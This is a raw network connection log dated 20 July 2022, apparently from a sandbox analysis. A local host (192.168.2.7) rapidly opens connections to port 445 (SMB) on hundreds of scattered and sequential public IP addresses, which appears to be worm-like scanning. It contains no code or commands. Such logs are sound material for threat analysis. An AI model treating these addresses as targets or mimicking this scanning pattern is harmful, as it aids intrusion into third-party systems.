Jul 20, 2022 13:26:47.479480982 CEST	56977	445	192.168.2.7	4.152.101.153
Jul 20, 2022 13:26:47.479532957 CEST	56978	445	192.168.2.7	193.39.27.167
Jul 20, 2022 13:26:47.479594946 CEST	56979	445	192.168.2.7	204.72.218.76
Jul 20, 2022 13:26:47.571904898 CEST	56981	445	192.168.2.7	185.15.42.109
Jul 20, 2022 13:26:47.617269039 CEST	445	56981	185.15.42.109	192.168.2.7
Jul 20, 2022 13:26:47.617430925 CEST	56981	445	192.168.2.7	185.15.42.109
Jul 20, 2022 13:26:47.617878914 CEST	56981	445	192.168.2.7	185.15.42.109
Jul 20, 2022 13:26:47.663781881 CEST	445	56981	185.15.42.109	192.168.2.7
Jul 20, 2022 13:26:47.670582056 CEST	56983	445	192.168.2.7	73.149.12.185
Jul 20, 2022 13:26:47.670639038 CEST	56981	445	192.168.2.7	185.15.42.109
Jul 20, 2022 13:26:47.672075987 CEST	56986	445	192.168.2.7	115.43.107.155
Jul 20, 2022 13:26:47.672755003 CEST	56987	445	192.168.2.7	17.60.44.188
Jul 20, 2022 13:26:47.673772097 CEST	56989	445	192.168.2.7	200.31.28.120
Jul 20, 2022 13:26:47.674530983 CEST	56990	445	192.168.2.7	199.144.227.61
Jul 20, 2022 13:26:47.676022053 CEST	56991	445	192.168.2.7	128.73.33.144
Jul 20, 2022 13:26:47.716625929 CEST	445	56981	185.15.42.109	192.168.2.7
Jul 20, 2022 13:26:47.716851950 CEST	56981	445	192.168.2.7	185.15.42.109
Jul 20, 2022 13:26:47.763159037 CEST	445	56981	185.15.42.109	192.168.2.7
Jul 20, 2022 13:26:47.817702055 CEST	57003	445	192.168.2.7	185.15.42.110
Jul 20, 2022 13:26:47.863343000 CEST	445	57003	185.15.42.110	192.168.2.7
Jul 20, 2022 13:26:47.863555908 CEST	57003	445	192.168.2.7	185.15.42.110
Jul 20, 2022 13:26:47.863702059 CEST	57003	445	192.168.2.7	185.15.42.110
Jul 20, 2022 13:26:47.876445055 CEST	57004	445	192.168.2.7	185.15.42.110
Jul 20, 2022 13:26:47.910765886 CEST	445	57003	185.15.42.110	192.168.2.7
Jul 20, 2022 13:26:47.910810947 CEST	445	57003	185.15.42.110	192.168.2.7
Jul 20, 2022 13:26:47.922657013 CEST	445	57004	185.15.42.110	192.168.2.7
Jul 20, 2022 13:26:47.922868013 CEST	57004	445	192.168.2.7	185.15.42.110
Jul 20, 2022 13:26:47.923053980 CEST	57004	445	192.168.2.7	185.15.42.110
Jul 20, 2022 13:26:47.971069098 CEST	445	57004	185.15.42.110	192.168.2.7
Jul 20, 2022 13:26:47.974461079 CEST	57004	445	192.168.2.7	185.15.42.110
Jul 20, 2022 13:26:48.020760059 CEST	445	57004	185.15.42.110	192.168.2.7
Jul 20, 2022 13:26:48.021068096 CEST	57004	445	192.168.2.7	185.15.42.110
Jul 20, 2022 13:26:48.068634033 CEST	445	57004	185.15.42.110	192.168.2.7
Jul 20, 2022 13:26:48.332796097 CEST	56233	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:48.334906101 CEST	57007	445	192.168.2.7	94.27.140.47
Jul 20, 2022 13:26:48.335614920 CEST	57008	445	192.168.2.7	5.240.140.100
Jul 20, 2022 13:26:48.536758900 CEST	57017	445	192.168.2.7	10.9.46.144
Jul 20, 2022 13:26:48.568839073 CEST	57020	445	192.168.2.7	191.135.32.36
Jul 20, 2022 13:26:48.608952999 CEST	57024	445	192.168.2.7	193.189.198.208
Jul 20, 2022 13:26:48.609180927 CEST	57025	445	192.168.2.7	216.197.183.65
Jul 20, 2022 13:26:48.609287024 CEST	57026	445	192.168.2.7	173.0.114.23
Jul 20, 2022 13:26:48.609539986 CEST	57030	445	192.168.2.7	30.25.102.219
Jul 20, 2022 13:26:48.609736919 CEST	57035	445	192.168.2.7	43.122.155.146
Jul 20, 2022 13:26:48.609981060 CEST	57042	445	192.168.2.7	24.188.155.38
Jul 20, 2022 13:26:48.610447884 CEST	57046	445	192.168.2.7	96.243.243.206
Jul 20, 2022 13:26:48.610574961 CEST	57049	445	192.168.2.7	70.238.230.22
Jul 20, 2022 13:26:48.610682964 CEST	57051	445	192.168.2.7	50.15.167.21
Jul 20, 2022 13:26:48.610783100 CEST	57052	445	192.168.2.7	64.206.63.219
Jul 20, 2022 13:26:48.610925913 CEST	57054	445	192.168.2.7	131.27.183.119
Jul 20, 2022 13:26:48.618944883 CEST	57055	445	192.168.2.7	71.129.229.106
Jul 20, 2022 13:26:48.619131088 CEST	57057	445	192.168.2.7	44.227.94.124
Jul 20, 2022 13:26:48.619168997 CEST	57058	445	192.168.2.7	215.110.119.148
Jul 20, 2022 13:26:48.619282007 CEST	57059	445	192.168.2.7	139.150.175.178
Jul 20, 2022 13:26:48.619474888 CEST	57064	445	192.168.2.7	157.217.214.102
Jul 20, 2022 13:26:48.619570017 CEST	57065	445	192.168.2.7	77.166.186.6
Jul 20, 2022 13:26:48.619693041 CEST	57068	445	192.168.2.7	29.50.126.9
Jul 20, 2022 13:26:48.776284933 CEST	57070	445	192.168.2.7	116.13.89.183
Jul 20, 2022 13:26:48.776504993 CEST	57075	445	192.168.2.7	198.230.44.177
Jul 20, 2022 13:26:48.776520967 CEST	57074	445	192.168.2.7	186.49.150.52
Jul 20, 2022 13:26:48.776654005 CEST	57077	445	192.168.2.7	44.213.113.118
Jul 20, 2022 13:26:48.776719093 CEST	57078	445	192.168.2.7	175.5.60.190
Jul 20, 2022 13:26:48.776773930 CEST	57079	445	192.168.2.7	175.130.157.120
Jul 20, 2022 13:26:49.415817976 CEST	57093	445	192.168.2.7	94.27.140.48
Jul 20, 2022 13:26:49.415868998 CEST	57094	445	192.168.2.7	5.240.140.101
Jul 20, 2022 13:26:49.661938906 CEST	57103	445	192.168.2.7	83.172.195.92
Jul 20, 2022 13:26:49.693497896 CEST	57106	445	192.168.2.7	118.253.43.11
Jul 20, 2022 13:26:49.790657043 CEST	57109	445	192.168.2.7	100.126.67.83
Jul 20, 2022 13:26:49.791332006 CEST	57110	445	192.168.2.7	139.81.130.170
Jul 20, 2022 13:26:49.791460991 CEST	57112	445	192.168.2.7	9.24.213.8
Jul 20, 2022 13:26:49.791544914 CEST	57114	445	192.168.2.7	218.8.115.93
Jul 20, 2022 13:26:49.791662931 CEST	57117	445	192.168.2.7	221.116.168.58
Jul 20, 2022 13:26:49.791831970 CEST	57121	445	192.168.2.7	208.35.230.2
Jul 20, 2022 13:26:49.792026043 CEST	57128	445	192.168.2.7	164.160.184.154
Jul 20, 2022 13:26:49.792207003 CEST	57133	445	192.168.2.7	145.163.236.181
Jul 20, 2022 13:26:49.792356968 CEST	57137	445	192.168.2.7	199.28.109.175
Jul 20, 2022 13:26:49.792486906 CEST	57138	445	192.168.2.7	18.220.240.12
Jul 20, 2022 13:26:49.792527914 CEST	57140	445	192.168.2.7	105.247.146.128
Jul 20, 2022 13:26:49.792773008 CEST	57143	445	192.168.2.7	69.176.117.206
Jul 20, 2022 13:26:49.792870998 CEST	57144	445	192.168.2.7	45.38.241.156
Jul 20, 2022 13:26:49.792877913 CEST	57142	445	192.168.2.7	206.185.13.232
Jul 20, 2022 13:26:49.792989969 CEST	57146	445	192.168.2.7	103.206.169.158
Jul 20, 2022 13:26:49.793107033 CEST	57150	445	192.168.2.7	74.39.90.214
Jul 20, 2022 13:26:49.793133020 CEST	57151	445	192.168.2.7	29.233.82.44
Jul 20, 2022 13:26:49.793386936 CEST	57154	445	192.168.2.7	172.198.163.35
Jul 20, 2022 13:26:49.896116018 CEST	57156	445	192.168.2.7	78.59.202.249
Jul 20, 2022 13:26:49.900353909 CEST	57160	445	192.168.2.7	85.60.230.244
Jul 20, 2022 13:26:49.900355101 CEST	57161	445	192.168.2.7	47.240.72.94
Jul 20, 2022 13:26:49.900417089 CEST	57163	445	192.168.2.7	202.228.111.215
Jul 20, 2022 13:26:49.900453091 CEST	57164	445	192.168.2.7	50.205.44.89
Jul 20, 2022 13:26:49.900516033 CEST	57165	445	192.168.2.7	149.234.181.240
Jul 20, 2022 13:26:50.344532967 CEST	57179	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:26:50.344602108 CEST	443	57179	20.199.120.85	192.168.2.7
Jul 20, 2022 13:26:50.344727993 CEST	57179	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:26:50.345885038 CEST	57179	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:26:50.345921040 CEST	443	57179	20.199.120.85	192.168.2.7
Jul 20, 2022 13:26:50.445374012 CEST	443	57179	20.199.120.85	192.168.2.7
Jul 20, 2022 13:26:50.445550919 CEST	57179	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:26:50.449029922 CEST	57179	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:26:50.449059963 CEST	443	57179	20.199.120.85	192.168.2.7
Jul 20, 2022 13:26:50.449409008 CEST	443	57179	20.199.120.85	192.168.2.7
Jul 20, 2022 13:26:50.450566053 CEST	57179	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:26:50.450628996 CEST	57179	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:26:50.450640917 CEST	443	57179	20.199.120.85	192.168.2.7
Jul 20, 2022 13:26:50.450829029 CEST	57179	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:26:50.477943897 CEST	443	57179	20.199.120.85	192.168.2.7
Jul 20, 2022 13:26:50.478022099 CEST	443	57179	20.199.120.85	192.168.2.7
Jul 20, 2022 13:26:50.478099108 CEST	57179	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:26:50.478388071 CEST	57179	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:26:50.478418112 CEST	443	57179	20.199.120.85	192.168.2.7
Jul 20, 2022 13:26:50.490041018 CEST	57181	445	192.168.2.7	94.27.140.49
Jul 20, 2022 13:26:50.490562916 CEST	57182	445	192.168.2.7	5.240.140.102
Jul 20, 2022 13:26:50.790524006 CEST	57191	445	192.168.2.7	85.87.176.192
Jul 20, 2022 13:26:50.818763018 CEST	57194	445	192.168.2.7	99.242.16.176
Jul 20, 2022 13:26:50.897752047 CEST	57197	445	192.168.2.7	85.73.223.4
Jul 20, 2022 13:26:50.899215937 CEST	57200	445	192.168.2.7	160.72.125.216
Jul 20, 2022 13:26:50.900295019 CEST	57202	445	192.168.2.7	97.211.114.102
Jul 20, 2022 13:26:50.902121067 CEST	57205	445	192.168.2.7	160.40.197.33
Jul 20, 2022 13:26:50.904010057 CEST	57209	445	192.168.2.7	119.185.71.13
Jul 20, 2022 13:26:50.907269955 CEST	57216	445	192.168.2.7	27.136.182.84
Jul 20, 2022 13:26:50.909894943 CEST	57221	445	192.168.2.7	141.95.68.216
Jul 20, 2022 13:26:50.912828922 CEST	57224	445	192.168.2.7	204.100.103.227
Jul 20, 2022 13:26:50.928036928 CEST	445	57221	141.95.68.216	192.168.2.7
Jul 20, 2022 13:26:50.953476906 CEST	57226	445	192.168.2.7	209.236.94.252
Jul 20, 2022 13:26:50.953651905 CEST	57230	445	192.168.2.7	166.75.196.65
Jul 20, 2022 13:26:50.953656912 CEST	57227	445	192.168.2.7	48.128.242.68
Jul 20, 2022 13:26:50.953697920 CEST	57229	445	192.168.2.7	92.126.246.52
Jul 20, 2022 13:26:50.953792095 CEST	57231	445	192.168.2.7	125.105.127.127
Jul 20, 2022 13:26:50.953866005 CEST	57235	445	192.168.2.7	164.16.136.182
Jul 20, 2022 13:26:50.953968048 CEST	57238	445	192.168.2.7	135.215.187.121
Jul 20, 2022 13:26:50.954046011 CEST	57239	445	192.168.2.7	186.199.102.202
Jul 20, 2022 13:26:50.954118967 CEST	57242	445	192.168.2.7	97.102.215.204
Jul 20, 2022 13:26:51.020420074 CEST	56587	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:51.021238089 CEST	57244	445	192.168.2.7	153.79.154.114
Jul 20, 2022 13:26:51.034039021 CEST	57249	445	192.168.2.7	144.14.12.9
Jul 20, 2022 13:26:51.034085989 CEST	57248	445	192.168.2.7	85.38.86.173
Jul 20, 2022 13:26:51.034173965 CEST	57251	445	192.168.2.7	140.143.143.204
Jul 20, 2022 13:26:51.034229040 CEST	57252	445	192.168.2.7	23.219.3.118
Jul 20, 2022 13:26:51.034298897 CEST	57253	445	192.168.2.7	174.29.48.126
Jul 20, 2022 13:26:51.084104061 CEST	57265	445	192.168.2.7	185.15.42.110
Jul 20, 2022 13:26:51.130459070 CEST	445	57265	185.15.42.110	192.168.2.7
Jul 20, 2022 13:26:51.130697012 CEST	57265	445	192.168.2.7	185.15.42.110
Jul 20, 2022 13:26:51.130881071 CEST	57265	445	192.168.2.7	185.15.42.110
Jul 20, 2022 13:26:51.176470041 CEST	445	57265	185.15.42.110	192.168.2.7
Jul 20, 2022 13:26:51.181148052 CEST	57265	445	192.168.2.7	185.15.42.110
Jul 20, 2022 13:26:51.227432013 CEST	445	57265	185.15.42.110	192.168.2.7
Jul 20, 2022 13:26:51.227700949 CEST	57265	445	192.168.2.7	185.15.42.110
Jul 20, 2022 13:26:51.273329973 CEST	445	57265	185.15.42.110	192.168.2.7
Jul 20, 2022 13:26:51.343214989 CEST	57267	445	192.168.2.7	185.15.42.111
Jul 20, 2022 13:26:51.447910070 CEST	57221	445	192.168.2.7	141.95.68.216
Jul 20, 2022 13:26:51.466000080 CEST	445	57221	141.95.68.216	192.168.2.7
Jul 20, 2022 13:26:51.568669081 CEST	57269	445	192.168.2.7	94.27.140.50
Jul 20, 2022 13:26:51.570312977 CEST	57270	445	192.168.2.7	5.240.140.103
Jul 20, 2022 13:26:51.927961111 CEST	57280	445	192.168.2.7	128.147.84.125
Jul 20, 2022 13:26:51.944901943 CEST	57282	445	192.168.2.7	117.28.18.155
Jul 20, 2022 13:26:52.022161007 CEST	57287	445	192.168.2.7	131.8.175.143
Jul 20, 2022 13:26:52.023108006 CEST	57289	445	192.168.2.7	102.10.218.112
Jul 20, 2022 13:26:52.023690939 CEST	57290	445	192.168.2.7	6.237.224.24
Jul 20, 2022 13:26:52.024791956 CEST	57292	445	192.168.2.7	4.3.173.16
Jul 20, 2022 13:26:52.026457071 CEST	57295	445	192.168.2.7	7.20.120.101
Jul 20, 2022 13:26:52.028770924 CEST	57299	445	192.168.2.7	86.196.95.98
Jul 20, 2022 13:26:52.044429064 CEST	57306	445	192.168.2.7	90.147.111.205
Jul 20, 2022 13:26:52.048487902 CEST	57311	445	192.168.2.7	181.68.36.152
Jul 20, 2022 13:26:52.048552990 CEST	57313	445	192.168.2.7	35.118.150.145
Jul 20, 2022 13:26:52.069001913 CEST	57316	445	192.168.2.7	108.191.41.91
Jul 20, 2022 13:26:52.069762945 CEST	57317	445	192.168.2.7	124.98.81.88
Jul 20, 2022 13:26:52.070494890 CEST	57318	445	192.168.2.7	176.148.91.169
Jul 20, 2022 13:26:52.105745077 CEST	57320	445	192.168.2.7	176.112.23.235
Jul 20, 2022 13:26:52.106528044 CEST	57323	445	192.168.2.7	213.149.115.119
Jul 20, 2022 13:26:52.106726885 CEST	57325	445	192.168.2.7	85.115.127.181
Jul 20, 2022 13:26:52.106918097 CEST	57328	445	192.168.2.7	14.166.188.21
Jul 20, 2022 13:26:52.107182026 CEST	57329	445	192.168.2.7	202.166.55.209
Jul 20, 2022 13:26:52.107498884 CEST	57332	445	192.168.2.7	205.144.254.96
Jul 20, 2022 13:26:52.153309107 CEST	57337	445	192.168.2.7	5.194.201.22
Jul 20, 2022 13:26:52.153317928 CEST	57342	445	192.168.2.7	65.156.167.27
Jul 20, 2022 13:26:52.153321028 CEST	57345	445	192.168.2.7	80.146.125.251
Jul 20, 2022 13:26:52.153320074 CEST	57344	445	192.168.2.7	205.21.203.249
Jul 20, 2022 13:26:52.153330088 CEST	57347	445	192.168.2.7	65.177.94.142
Jul 20, 2022 13:26:52.153367043 CEST	57341	445	192.168.2.7	89.14.10.74
Jul 20, 2022 13:26:52.396941900 CEST	57356	445	192.168.2.7	185.15.42.112
Jul 20, 2022 13:26:52.646548033 CEST	57358	445	192.168.2.7	94.27.140.51
Jul 20, 2022 13:26:52.647330046 CEST	57359	445	192.168.2.7	5.240.140.104
Jul 20, 2022 13:26:53.038522005 CEST	57369	445	192.168.2.7	177.227.199.79
Jul 20, 2022 13:26:53.069314957 CEST	57371	445	192.168.2.7	26.244.221.98
Jul 20, 2022 13:26:53.238286018 CEST	57376	445	192.168.2.7	13.183.50.246
Jul 20, 2022 13:26:53.271965027 CEST	57378	445	192.168.2.7	50.169.117.87
Jul 20, 2022 13:26:53.274065018 CEST	57379	445	192.168.2.7	19.250.129.78
Jul 20, 2022 13:26:53.274461985 CEST	57381	445	192.168.2.7	93.22.63.116
Jul 20, 2022 13:26:53.274689913 CEST	57383	445	192.168.2.7	200.118.48.7
Jul 20, 2022 13:26:53.275110006 CEST	57387	445	192.168.2.7	50.225.238.69
Jul 20, 2022 13:26:53.275846004 CEST	57396	445	192.168.2.7	125.165.170.23
Jul 20, 2022 13:26:53.276365042 CEST	57402	445	192.168.2.7	29.63.106.231
Jul 20, 2022 13:26:53.276514053 CEST	57403	445	192.168.2.7	59.25.88.248
Jul 20, 2022 13:26:53.276796103 CEST	57405	445	192.168.2.7	217.195.182.169
Jul 20, 2022 13:26:53.277019978 CEST	57406	445	192.168.2.7	146.64.86.204
Jul 20, 2022 13:26:53.277163029 CEST	57407	445	192.168.2.7	104.205.97.192
Jul 20, 2022 13:26:53.277373075 CEST	57409	445	192.168.2.7	97.172.76.232
Jul 20, 2022 13:26:53.277631998 CEST	57412	445	192.168.2.7	138.113.220.251
Jul 20, 2022 13:26:53.277797937 CEST	57413	445	192.168.2.7	26.173.204.213
Jul 20, 2022 13:26:53.278095961 CEST	57416	445	192.168.2.7	156.118.195.190
Jul 20, 2022 13:26:53.278315067 CEST	57418	445	192.168.2.7	106.192.238.132
Jul 20, 2022 13:26:53.278743029 CEST	57421	445	192.168.2.7	124.245.35.107
Jul 20, 2022 13:26:53.442574024 CEST	56075	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:53.509444952 CEST	57433	445	192.168.2.7	57.150.214.195
Jul 20, 2022 13:26:53.509615898 CEST	57436	445	192.168.2.7	104.32.229.15
Jul 20, 2022 13:26:53.509763956 CEST	57437	445	192.168.2.7	207.164.94.58
Jul 20, 2022 13:26:53.509903908 CEST	57439	445	192.168.2.7	169.9.71.194
Jul 20, 2022 13:26:53.510011911 CEST	57440	445	192.168.2.7	181.106.48.82
Jul 20, 2022 13:26:53.510137081 CEST	57442	445	192.168.2.7	222.169.170.79
Jul 20, 2022 13:26:53.553138018 CEST	57445	445	192.168.2.7	185.15.42.113
Jul 20, 2022 13:26:53.729252100 CEST	57447	445	192.168.2.7	94.27.140.52
Jul 20, 2022 13:26:53.729352951 CEST	57448	445	192.168.2.7	5.240.140.105
Jul 20, 2022 13:26:53.958163977 CEST	54929	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:54.162322998 CEST	57460	445	192.168.2.7	150.66.99.206
Jul 20, 2022 13:26:54.194981098 CEST	57463	445	192.168.2.7	178.120.112.123
Jul 20, 2022 13:26:54.349668980 CEST	57465	445	192.168.2.7	29.60.195.248
Jul 20, 2022 13:26:54.400655031 CEST	57468	445	192.168.2.7	148.121.208.82
Jul 20, 2022 13:26:54.400712013 CEST	57469	445	192.168.2.7	31.189.59.120
Jul 20, 2022 13:26:54.400888920 CEST	57473	445	192.168.2.7	57.166.31.96
Jul 20, 2022 13:26:54.400979996 CEST	57474	445	192.168.2.7	167.52.7.193
Jul 20, 2022 13:26:54.424729109 CEST	57479	445	192.168.2.7	60.241.49.55
Jul 20, 2022 13:26:54.424813032 CEST	57481	445	192.168.2.7	222.222.38.233
Jul 20, 2022 13:26:54.424833059 CEST	57480	445	192.168.2.7	11.132.191.26
Jul 20, 2022 13:26:54.425015926 CEST	57484	445	192.168.2.7	76.164.205.235
Jul 20, 2022 13:26:54.425115108 CEST	57488	445	192.168.2.7	128.93.69.254
Jul 20, 2022 13:26:54.425415993 CEST	57496	445	192.168.2.7	140.146.169.9
Jul 20, 2022 13:26:54.425614119 CEST	57503	445	192.168.2.7	3.191.79.101
Jul 20, 2022 13:26:54.425719023 CEST	57504	445	192.168.2.7	171.231.146.74
Jul 20, 2022 13:26:54.425801992 CEST	57506	445	192.168.2.7	70.89.9.148
Jul 20, 2022 13:26:54.425859928 CEST	57507	445	192.168.2.7	42.206.117.81
Jul 20, 2022 13:26:54.425915003 CEST	57508	445	192.168.2.7	103.105.98.10
Jul 20, 2022 13:26:54.425972939 CEST	57509	445	192.168.2.7	125.199.147.24
Jul 20, 2022 13:26:54.505954027 CEST	57511	445	192.168.2.7	112.244.144.157
Jul 20, 2022 13:26:54.663948059 CEST	57523	445	192.168.2.7	146.146.140.71
Jul 20, 2022 13:26:54.664027929 CEST	57526	445	192.168.2.7	159.74.12.42
Jul 20, 2022 13:26:54.664087057 CEST	57527	445	192.168.2.7	206.83.114.194
Jul 20, 2022 13:26:54.665060997 CEST	57529	445	192.168.2.7	162.82.13.218
Jul 20, 2022 13:26:54.665180922 CEST	57530	445	192.168.2.7	156.120.217.83
Jul 20, 2022 13:26:54.665299892 CEST	57532	445	192.168.2.7	205.72.97.132
Jul 20, 2022 13:26:54.665441036 CEST	57535	445	192.168.2.7	185.15.42.114
Jul 20, 2022 13:26:54.824331045 CEST	57537	445	192.168.2.7	94.27.140.53
Jul 20, 2022 13:26:54.824804068 CEST	57538	445	192.168.2.7	5.240.140.106
Jul 20, 2022 13:26:55.286547899 CEST	56232	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:55.288249016 CEST	57549	445	192.168.2.7	41.107.150.95
Jul 20, 2022 13:26:55.319708109 CEST	57553	445	192.168.2.7	55.232.125.127
Jul 20, 2022 13:26:55.459588051 CEST	57555	445	192.168.2.7	71.116.96.85
Jul 20, 2022 13:26:55.522555113 CEST	57558	445	192.168.2.7	42.241.191.170
Jul 20, 2022 13:26:55.524004936 CEST	57560	445	192.168.2.7	110.16.251.56
Jul 20, 2022 13:26:55.525935888 CEST	57561	445	192.168.2.7	28.243.74.185
Jul 20, 2022 13:26:55.527721882 CEST	57563	445	192.168.2.7	7.57.117.18
Jul 20, 2022 13:26:55.537380934 CEST	57568	445	192.168.2.7	152.204.222.189
Jul 20, 2022 13:26:55.540740013 CEST	57573	445	192.168.2.7	136.77.23.132
Jul 20, 2022 13:26:55.542401075 CEST	57575	445	192.168.2.7	208.204.55.70
Jul 20, 2022 13:26:55.543283939 CEST	57576	445	192.168.2.7	61.5.211.123
Jul 20, 2022 13:26:55.544080973 CEST	57577	445	192.168.2.7	8.44.59.28
Jul 20, 2022 13:26:55.544806957 CEST	57578	445	192.168.2.7	42.45.194.86
Jul 20, 2022 13:26:55.546525955 CEST	57579	445	192.168.2.7	60.32.190.216
Jul 20, 2022 13:26:55.546858072 CEST	57581	445	192.168.2.7	205.75.124.181
Jul 20, 2022 13:26:55.548163891 CEST	57583	445	192.168.2.7	186.137.9.68
Jul 20, 2022 13:26:55.548849106 CEST	57584	445	192.168.2.7	47.229.234.213
Jul 20, 2022 13:26:55.552345991 CEST	57589	445	192.168.2.7	113.107.158.90
Jul 20, 2022 13:26:55.553559065 CEST	57590	445	192.168.2.7	9.242.177.243
Jul 20, 2022 13:26:55.631844997 CEST	57602	445	192.168.2.7	222.17.88.29
Jul 20, 2022 13:26:55.744379997 CEST	57603	445	192.168.2.7	185.15.42.115
Jul 20, 2022 13:26:55.794950962 CEST	57616	445	192.168.2.7	189.229.161.98
Jul 20, 2022 13:26:55.795763016 CEST	57617	445	192.168.2.7	85.52.180.16
Jul 20, 2022 13:26:55.797877073 CEST	57620	445	192.168.2.7	214.213.65.202
Jul 20, 2022 13:26:55.798774004 CEST	57621	445	192.168.2.7	97.138.165.108
Jul 20, 2022 13:26:55.799483061 CEST	57622	445	192.168.2.7	178.131.67.87
Jul 20, 2022 13:26:55.809153080 CEST	57623	445	192.168.2.7	111.60.137.73
Jul 20, 2022 13:26:55.898639917 CEST	57627	445	192.168.2.7	94.27.140.54
Jul 20, 2022 13:26:55.899180889 CEST	57628	445	192.168.2.7	5.240.140.107
Jul 20, 2022 13:26:56.177073002 CEST	56082	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:56.412113905 CEST	57640	445	192.168.2.7	113.134.149.41
Jul 20, 2022 13:26:56.468080997 CEST	57644	445	192.168.2.7	215.60.21.239
Jul 20, 2022 13:26:56.584842920 CEST	57647	445	192.168.2.7	204.251.41.136
Jul 20, 2022 13:26:56.647649050 CEST	57649	445	192.168.2.7	12.56.240.133
Jul 20, 2022 13:26:56.649064064 CEST	57651	445	192.168.2.7	100.108.246.110
Jul 20, 2022 13:26:56.649775028 CEST	57652	445	192.168.2.7	113.192.37.210
Jul 20, 2022 13:26:56.651210070 CEST	57654	445	192.168.2.7	36.117.119.168
Jul 20, 2022 13:26:56.663322926 CEST	57659	445	192.168.2.7	143.134.190.81
Jul 20, 2022 13:26:56.666825056 CEST	57664	445	192.168.2.7	67.200.109.167
Jul 20, 2022 13:26:56.668318987 CEST	57666	445	192.168.2.7	223.58.210.57
Jul 20, 2022 13:26:56.669090986 CEST	57667	445	192.168.2.7	178.161.165.198
Jul 20, 2022 13:26:56.669801950 CEST	57668	445	192.168.2.7	114.232.229.169
Jul 20, 2022 13:26:56.670542002 CEST	57669	445	192.168.2.7	111.172.72.18
Jul 20, 2022 13:26:56.671468973 CEST	57670	445	192.168.2.7	161.127.48.76
Jul 20, 2022 13:26:56.672866106 CEST	57672	445	192.168.2.7	84.228.189.48
Jul 20, 2022 13:26:56.674282074 CEST	57674	445	192.168.2.7	154.164.199.69
Jul 20, 2022 13:26:56.675003052 CEST	57675	445	192.168.2.7	167.73.20.154
Jul 20, 2022 13:26:56.682487965 CEST	57686	445	192.168.2.7	220.170.108.115
Jul 20, 2022 13:26:56.683294058 CEST	57687	445	192.168.2.7	219.29.152.253
Jul 20, 2022 13:26:56.756280899 CEST	57692	445	192.168.2.7	47.175.204.0
Jul 20, 2022 13:26:56.818581104 CEST	57694	445	192.168.2.7	185.15.42.116
Jul 20, 2022 13:26:56.919780970 CEST	57706	445	192.168.2.7	107.149.144.158
Jul 20, 2022 13:26:56.919795036 CEST	57708	445	192.168.2.7	129.180.105.89
Jul 20, 2022 13:26:56.919975996 CEST	57711	445	192.168.2.7	142.31.20.109
Jul 20, 2022 13:26:56.920028925 CEST	57712	445	192.168.2.7	9.46.203.203
Jul 20, 2022 13:26:56.920079947 CEST	57713	445	192.168.2.7	49.68.195.120
Jul 20, 2022 13:26:56.928667068 CEST	57714	445	192.168.2.7	222.142.3.207
Jul 20, 2022 13:26:56.975428104 CEST	57718	445	192.168.2.7	94.27.140.55
Jul 20, 2022 13:26:56.976021051 CEST	57719	445	192.168.2.7	5.240.140.108
Jul 20, 2022 13:26:57.522262096 CEST	57731	445	192.168.2.7	58.50.45.104
Jul 20, 2022 13:26:57.585587978 CEST	57736	445	192.168.2.7	55.28.32.177
Jul 20, 2022 13:26:57.710043907 CEST	57738	445	192.168.2.7	148.47.119.16
Jul 20, 2022 13:26:57.757384062 CEST	57740	445	192.168.2.7	97.67.9.24
Jul 20, 2022 13:26:57.758797884 CEST	57742	445	192.168.2.7	89.20.49.192
Jul 20, 2022 13:26:57.759586096 CEST	57743	445	192.168.2.7	92.31.106.31
Jul 20, 2022 13:26:57.761015892 CEST	57745	445	192.168.2.7	192.210.140.207
Jul 20, 2022 13:26:57.815727949 CEST	57760	445	192.168.2.7	4.70.251.29
Jul 20, 2022 13:26:57.815771103 CEST	57761	445	192.168.2.7	123.69.192.155
Jul 20, 2022 13:26:57.815983057 CEST	57766	445	192.168.2.7	11.148.123.81
Jul 20, 2022 13:26:57.816236973 CEST	57773	445	192.168.2.7	176.105.112.143
Jul 20, 2022 13:26:57.816261053 CEST	57772	445	192.168.2.7	69.112.159.129
Jul 20, 2022 13:26:57.816373110 CEST	57775	445	192.168.2.7	58.217.129.99
Jul 20, 2022 13:26:57.816503048 CEST	57774	445	192.168.2.7	187.217.159.50
Jul 20, 2022 13:26:57.816503048 CEST	57776	445	192.168.2.7	103.130.128.185
Jul 20, 2022 13:26:57.816514969 CEST	57777	445	192.168.2.7	208.34.209.60
Jul 20, 2022 13:26:57.816643953 CEST	57778	445	192.168.2.7	223.169.48.20
Jul 20, 2022 13:26:57.816734076 CEST	57781	445	192.168.2.7	174.213.48.129
Jul 20, 2022 13:26:57.816801071 CEST	57782	445	192.168.2.7	99.129.50.191
Jul 20, 2022 13:26:57.897592068 CEST	57783	445	192.168.2.7	185.15.42.117
Jul 20, 2022 13:26:57.897983074 CEST	57784	445	192.168.2.7	150.253.66.42
Jul 20, 2022 13:26:57.942854881 CEST	56233	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:58.011253119 CEST	445	57776	103.130.128.185	192.168.2.7
Jul 20, 2022 13:26:58.029659986 CEST	57797	445	192.168.2.7	94.207.146.77
Jul 20, 2022 13:26:58.029716969 CEST	57800	445	192.168.2.7	164.56.223.108
Jul 20, 2022 13:26:58.029850960 CEST	57802	445	192.168.2.7	79.11.247.114
Jul 20, 2022 13:26:58.029886961 CEST	57803	445	192.168.2.7	178.62.72.16
Jul 20, 2022 13:26:58.029978037 CEST	57804	445	192.168.2.7	8.237.198.90
Jul 20, 2022 13:26:58.039263964 CEST	57806	445	192.168.2.7	190.239.66.239
Jul 20, 2022 13:26:58.053322077 CEST	57808	445	192.168.2.7	5.240.140.109
Jul 20, 2022 13:26:58.053450108 CEST	57809	445	192.168.2.7	94.27.140.56
Jul 20, 2022 13:26:58.521055937 CEST	57776	445	192.168.2.7	103.130.128.185
